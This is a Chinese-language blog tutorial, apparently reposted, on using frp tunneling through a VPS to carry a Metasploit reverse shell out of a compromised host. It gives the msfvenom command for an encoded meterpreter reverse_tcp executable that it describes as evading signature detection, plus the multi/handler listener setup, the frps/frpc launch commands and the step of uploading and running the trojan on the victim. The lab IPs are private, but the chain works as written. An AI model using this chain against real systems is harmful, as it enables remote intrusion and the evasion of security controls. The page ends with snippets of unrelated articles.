隧道代理-

news2024/10/6 18:20:45

文章目录

  • 代理
    • 代理使用场景
    • VPS
    • 建立隧道
    • frp
    • MSF木马生成
    • 监听
    • 开启frp服务端和客户端
    • 执行exe木马文件

代理

实验环境:

  • 攻击机kali:192.168.160.32(NAT模式)
  • 模拟的公网服务器(本机):10.9.75.214
  • 失陷主机:10.9.75.127(桥接模式)

代理使用场景

1、拿下远程web服务器

2、webshell链接不稳定,需要使用稳定的木马程序

3、远程服务器无法直接链接攻击者电脑

4、需要借助公网vps转发来自失陷服务器的木马流量

5、借助frp服务端(vps)和客户端(内网攻击者)建立隧道

6、当vps某一个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用简历好的隧道转发流量

前提条件

拿下了公网上的一台主机(10.9.75.214)的webshell的权限,需要上传完整功能的木马文件。那么有一个问题,木马执行了后要找谁?此时的失陷主机是连接不到内网的攻击主机,这个时候就需要用到代理技术。

VPS

VPS是Virtual Private Serve的英文缩写,即虚拟专用服务器。VPS就是将一台物理服务器分割成多个独立的虚拟专项服务器,每一个VPS都可以分配独立的公网IP地址,独立的操作系统,能够实现不同VPS的磁盘空间、CPU资源、内存、系统等配置的隔离,通过虚拟技术让每一个用户使用VPS的时候都像是在使用一台独立服务器一样,自定义安装自己需要的东西。

公网VPS:

  • 可以理解为服务器上的虚拟机,攻击者可控。
  • 攻击者和受害者服务器都可以访问到。

建立隧道

image-20231013201014251

因为远程VPS不能访问攻击者的Kali主机。攻击者与远程VPS需要建立隧道,远程VPS使用7000端口建立一个监听(可以说隧道服务或者是代理服务),这样远程VPS就能够访问攻击者主机。还需要将远程VPS的4444端口的流量通过7000端口发送给攻击者的Kali。(代理的核心)

给失陷Web服务器的木马内容:

  • host:当木马执行的时候,去连接公网上的远程VPS。
  • post:连接远程VPS的4444端口。

frp

frp可以实现端口转发,端口监听,隧道功能。frp分为客户端和服务端。

Kali上启动的是客户端(frpc)

本机上启动的是服务端(frps)

frp运行起来的时候会自动的将7000端口开放,当然该端口可以在配置文件中进行修改。这样客户端和服务端就可以连接上了,他们之间就会有一个隧道。

远程VPS服务器的4444端口会主动转发数据流量给客户端的4444端口,不做任何操作,通过frp建立的隧道发送给远程连接的客户端的端口,至于转发给客户端的哪个端口,是由frpc的配置文件来决定的。

MSF木马生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.214 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

解释:

  • -p windows/meterpreter/reverse_tcp: 指定所使用的Payload(载荷)为Windows平台的Meterpreter反向TCP shell,这将在目标机器上与Metasploit框架监听器建立反向连接。
  • LHOST=10.9.75.214: 设置本地主机的IP地址,即Metasploit监听器所在的IP地址,用于接收反向连接。
  • LPORT=4444: 设置本地主机的端口号,即Metasploit监听器所监听的端口号。
  • -e X86/shikata_ga_nai: 使用shikata_ga_nai编码器对Payload进行混淆,以绕过一些基于签名和特征的安全防护机制。
  • -f exe: 指定生成的文件格式为可执行文件(exe)格式。
  • -o shell.exe: 指定生成的可执行文件的输出路径和文件名为shell.exe
  • -i 5: 设置迭代次数为5,表示对Payload进行重复编码5次以增加混淆程度。

image-20231014163933839

监听

使用msf进行监听

sudo msfconsole 

载入监控模块

use exploit/multi/handler 

加载payload

set payload windows/meterpreter/reverse_tcp
set lport 4444					# 监听本机的4444端口
set lhost 127.0.0.1				# 监听本机的IP地址也就是127.0.0.1
run

image-20231014164150171

此时本地已经启动了连接端口,查看Kali主机监听的端口号信息

ss -antpl #查看网络连接状态

解释:

ss -antpl 是一个用于显示当前系统网络连接状态的命令。下面对命令中的参数进行解释说明:

  • -a:显示所有的连接,包括监听和非监听状态的连接。
  • -n:不使用域名解析,以IP地址的形式显示连接信息。
  • -t:显示TCP协议的连接信息。
  • -p:显示与连接相关的进程信息。
  • -l:仅显示监听状态的连接。

image-20231014164528539

开启frp服务端和客户端

注意:先开启frp服务端再开启frp的客户端

开启frp服务端

.\frps.exe -c frps.ini

说明:-c表示指定服务端的配置文件。

image-20231014164437512

开启frp客户端

将frp压缩包先进行一个解压操作。

tar xf frp_0.33.0_linux_amd64.tar.gz  # 解压缩包
 sudo ./frpc -c frpc.ini # 启动frpc

配置文件解释:

image-20231014153353422

image-20231014153057596

image-20231014154031464

启动成功。

frp服务端情况:

image-20231014165331959

执行exe木马文件

将木马文件上传到失陷主机上,双击执行即可。

kali攻击机成功监听。

image-20231014165501641

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1093162.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SQL Server远程登录失败

SQL Server远程登录失败 检查SQL SERVER 是否允许远程访问. 具体步骤: 1)在远端SQL Server主机上,打开SSMS并连接数据库 2)在相应”数据库”上单击右键,选择”属性” 3)选择”连接”选项卡,检查”远程服务器连接”下,RPC服务是否选择. 设置SQL Server相关TCP连接 1.打开SQL Se…

代码随想录算法训练营第天十六天丨 二叉树part04

文档讲解:代码随想录 状态:已完成 513.找树左下角的值 思路 递归 分析一下题目:在树的最后一行找到最左边的值。 首先要是最后一行,然后是最左边的值。 如果使用递归法,如何判断是最后一行呢,其实就是…

为数据列表的每条记录生成对应的二维码

效果图&#xff1a; 一、前端 <!DOCTYPE html> <html lang"zh" xmlns:th"http://www.thymeleaf.org" xmlns:shiro"http://www.pollix.at/thymeleaf/shiro"> <head><th:block th:include"include :: header(固定资产…

CA与区块链之数字签名详解

CA与区块链验证本质上都是数字签名&#xff0c;首先&#xff0c;我们看一下什么是数字签名&#xff01; 数字签名 数字签名是公钥密码学中的一种技术&#xff0c;用于验证信息的完整性和发送者的身份。简而言之&#xff0c;数字签名是一种确认信息来源和信息完整性的手段。它通…

沉睡的木乃伊:var_export() 与可解析字符串

文章目录 参考环境var_export()概念应用场景数据持久化调试 函数 var_export() 自定义类__set_state() 魔术方法设置 __set_state 魔术方法的逻辑以复原对象注意事项 通用内置空类 stdClassstdClass对 __set_state() 的天然支持 参考 项目描述搜索引擎Bing、GoogleAI 大模型文…

UI自动化测试 —— Jenkins配置

前一段时间帮助团队搭建了UI自动化环境&#xff0c;这里将Jenkins环境的一些配置分享给大家。 背景&#xff1a; 团队下半年的目标之一是实现自动化测试&#xff0c;这里要吐槽一下&#xff0c;之前开发的测试平台了&#xff0c;最初的目的是用来做接口自动化测试和性能测试&…

数睿通2.0:高效的数据处理,主数据与数据表功能全面升级

引言 八天很短&#xff0c;七天很长&#xff0c;数睿通 2.0 数据中台也随之迎来了新一轮的版本迭代&#xff0c;本次更新主要包括&#xff1a; 主数据模型&#xff08;可视化建模&#xff09;主数据派发&#xff08;支持派发主数据到下游数据表&#xff0c;rabbitMq&#xff…

字节码学习之常见java语句的底层原理

文章目录 前言1. if语句字节码的解析 2. for循环字节码的解析 3. while循环4. switch语句5. try-catch语句6. i 和i的字节码7. try-catch-finally8. 参考文档 前言 上一章我们聊了《JVM字节码指令详解》 。本章我们学以致用&#xff0c;聊一下我们常见的一些java语句的特性底层…

苍穹外卖(四) AOP切面公共字段自动填充及文件上传

一.AOP切面公共字段填充 问题分析 如果都按照上述的操作方式来处理这些公共字段, 需要在每一个业务方法中进行操作, 编码相对冗余、繁琐&#xff0c;那能不能对于这些公共字段在某个地方统一处理&#xff0c;来简化开发呢&#xff1f; 答案是可以的&#xff0c;我们使用AOP切…

Redis订阅和发布

Redis订阅和发布 一、订阅者和发布者二、使用示例三、常用命令 一、订阅者和发布者 发布者&#xff1a;publish&#xff0c;发送消息订阅者&#xff1a;subscribe&#xff0c;接收消息 如下图所示&#xff0c;可以有多个订阅者订阅同一个频道&#xff0c;如果该频道发送消息&…

【RocketMQ系列一】初识RocketMQ

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精…

thinkphp6入门(9)-- 获取url路径中的应用名、控制器名、操作名

如果使用了多应用模式&#xff0c;可以通过下面的方法来获取当前应用 app(http)->getName(); 获取当前控制器 Request::controller(); 获取当前操作 Request::action(); 在中间件middleware中是无法获取控制器和操作的 需要将middleware的引入修改为 config 目录下的 ro…

计算机网络 实验六 Wireshark 抓包实验

实验目的&#xff1a; 通过实验掌握下列知识&#xff1a; 1. 掌握Wireshark抓包工具的使用。 2. 掌握建立telnet用户密码登录方式&#xff0c;并通过wireshark抓取相关信息。 3. 理解TCP的包结构&#xff0c;并掌握TCP建立连接的过程。 4. 掌握使用tftp工具&#xff0c;上…

一文带你了解以色列的当红38家网络安全公司

2014年&#xff0c;以色列出口的网络安全产品总值达60亿美金&#xff0c;占领了全球10%的网络安全市场。2014-2016年&#xff0c;微软用3.2亿美元买下数据隐私公司Adallom&#xff1b;Facebook花了1.5亿美元收购移动端数据分析公司Onavo&#xff1b;PayPal以6千万美元收下CyAct…

2023面试知识点二

1、vue双向绑定是如何实现的 原理主要通过数据劫持和发布订阅模式实现的通过Object.defineProperty()来劫持各个属性的setter&#xff0c;getter&#xff0c;监听数据的变化在数据变动时发布消息给订阅者(watcher)&#xff0c;订阅者触发响应的回调(update)更新视图。 2、ing…

非一线工程管理者的一对一沟通

一线工程管理者主要管理/领导工程师完成实际的工程任务&#xff0c;而非一线的工程管理者需要领导一线管理者&#xff0c;更多的关注团队本身&#xff0c;因此两者在做一对一沟通的时候需要有不同的关注点。原文: One-on-Ones for (Engineering) Manager of Managers 如果没有耐…

Linux该如何学习,给你支招

如果你已经确定对 Linux 产生了兴趣&#xff0c;那么接下来我们介绍一下学习 Linux 的方法。这只是自己关于学习Linux的建议。 一、如何去学习 学习大多类似庖丁解牛&#xff0c;对事物的认识一般都是由浅入深、由表及里的过程&#xff0c;循序才能渐进。学习 Linux 同样要有一…

复旦MBA魏文童:构建完备管理知识体系,助力企业数字化发展

日月光华&#xff0c;旦复旦兮&#xff01;复旦MBA如同一个巨大的磁场&#xff0c;吸引了诸多来自五湖四海、各行各业的职场精英。从初入职场的青涩懵懂到如今的独当一面专业干练&#xff0c;他们逐渐成长为职场的中坚力量&#xff0c;在各自领域内发光发热。作为新时代的青年&…

怒刷LeetCode的第27天(Java版)

目录 第一题 题目来源 题目内容 解决方法 方法一&#xff1a;位运算 第二题 题目来源 题目内容 解决方法 方法一&#xff1a;贪心算法 第三题 题目来源 题目内容 解决方法 方法一&#xff1a;二分查找 方法二&#xff1a;牛顿迭代法 方法三&#xff1a;位操作…

基于Pytest接口自动化的requests模块项目实战以及接口关联方法详解

1、基于pytest单元测试框架的规则 1.1 模块名&#xff08;即文件名&#xff09;必须以test_开头或者_test结尾 1.2 类名必须以Test开头且不能有init方法 1.3 用例名&#xff08;测试方法&#xff09;必须以test开头 同时&#xff0c;我也为大家准备了一份软件测试视频教程&…